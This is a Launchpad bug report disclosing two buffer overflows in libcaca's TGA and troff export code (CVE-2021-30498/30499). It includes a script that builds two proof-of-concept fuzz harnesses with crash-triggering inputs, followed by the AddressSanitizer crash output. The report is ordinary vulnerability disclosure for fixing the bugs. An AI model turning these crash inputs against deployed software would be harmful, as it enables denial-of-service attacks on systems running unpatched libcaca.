buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff

Bug #1923273 reported by xiao huang
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
libcaca (Ubuntu)
Fix Released
Undecided
Unassigned

Bug Description

Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash

- https://github.com/cacalabs/libcaca/issues/53

- https://github.com/cacalabs/libcaca/issues/54

------------------------------------------------------------------------
## Vendor of Product
https://github.com/cacalabs/libcaca

------------------------------------------------------------------------
## Affected Product Code Base
libcaca e4968ba
------------------------------------------------------------------------
## Affected Component
affected component:libcaca.so
------------------------------------------------------------------------
## Affected source code file
affected source code file(As call stack):

   ->caca_export_canvas_to_memory() in libcaca/caca/codec/export.c

       ->caca_export_memory() in libcaca/caca/codec/export.c

           -> export_tga() in libcaca/caca/codec/export.c

     -> export_troff() in libcaca/caca/codec/export.c

------------------------------------------------------------------------
## Attack Type
Context-dependent

------------------------------------------------------------------------
## Impact Denial of Service
true

------------------------------------------------------------------------
## Reference
https://github.com/cacalabs/libcaca

------------------------------------------------------------------------
## Discoverer
fdgnneig

------------------------------------------------------------------------
## Verification process and POC

### Verification steps:

1.Get the source code of libcaca:

2.Compile the libcaca.so library:

```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make

3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc

4.Run POC

------------------------------------------------------------------------
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

 if(Size<8) return 0;
 size_t len=0;
 char* buffer = (char*)malloc(Size+1);
 memset(buffer,0,Size);
 memcpy(buffer,Data,Size);
 buffer[Size]='\0';
 caca_canvas_t *cv;
 cv = caca_create_canvas(0,0);
 for(int i=0;i<4;i++)
       caca_create_frame(cv,0);
 for(int i=0;i<4;i++){
       caca_set_frame(cv,i);
       caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
 }
 void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
 if(reData!=NULL) free(reData);
 caca_free_canvas(cv);
 cv=NULL;
 free(buffer);
 buffer=NULL;

}

int main(int args,char* argv[]){

       size_t len = 0;
       unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
       len = sizeof(buffer)/sizeof(unsigned char);
       LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
       printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

       return 0;

}
EOF

clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff

cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

 if(Size<8) return 0;
 size_t len=0;
 char* buffer = (char*)malloc(Size+1);
 memset(buffer,0,Size);
 memcpy(buffer,Data,Size);
 buffer[Size]='\0';
 caca_canvas_t *cv;
 cv = caca_create_canvas(0,0);
 for(int i=0;i<4;i++)
       caca_create_frame(cv,0);
 for(int i=0;i<4;i++){
       caca_set_frame(cv,i);
       caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
 }
 void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
 if(reData!=NULL) free(reData);
 caca_free_canvas(cv);
 cv=NULL;
 free(buffer);
 buffer=NULL;
       return 0;
}

int main(int args,char* argv[]){

       size_t len = 0;
       unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
       len = sizeof(buffer)/sizeof(unsigned char);
       LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
       printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

       return 0;
}
EOF

clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_tga
```
------------------------------------------------------------------------
The output is as follows
```shell
==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
WRITE of size 1 at 0x603000000022 thread T0
   #0 0x7f905c1bf43f in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:961:12
   #1 0x7f905c1bf43f in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
   #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
   #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
   #4 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
   #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)

0x603000000022 is located 0 bytes to the right of 18-byte region [0x603000000010,0x603000000022)
allocated by thread T0 here:
   #0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
   #1 0x7f905c1be0eb in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:944:18
   #2 0x7f905c1be0eb in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
   #3 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
   #4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
   #5 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
Shadow bytes around the buggy address:
 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
==1845495==ABORTING
```
```shell
==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
   #0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
   #1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
   #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
   #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
   #4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
   #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)

0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
 0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
 0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
 0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
==1845916==ABORTING
```shell

Tanks

CVE References

xiao huang (shanzhuli)
summary: - libcaca
+ libcaca buffer-overflow
information type: Private Security → Public Security
Revision history for this message
xiao huang (shanzhuli) wrote : Re: libcaca buffer-overflow

source code
## Affected Product Code Base
libcaca, 0.99.beta20

Ubuntu 20.04
libcaca 0.99.beta19

Revision history for this message
xiao huang (shanzhuli) wrote :

Debian 10
libcaca0/now 0.9.beta19-2.1

Fedora 33
Name : libcaca
version : 0.99
Release :0.51.beta19.fc33

xiao huang (shanzhuli)
summary: - libcaca buffer-overflow
+ buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff
Revision history for this message
xiao huang (shanzhuli) wrote :

Issues have been assigned numbers CVE-2021-30498、CVE-2021-30499

Changed in libcaca (Ubuntu):
status: New → Confirmed
Fantu (fantonifabio)
Changed in libcaca (Ubuntu):
status: Confirmed → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.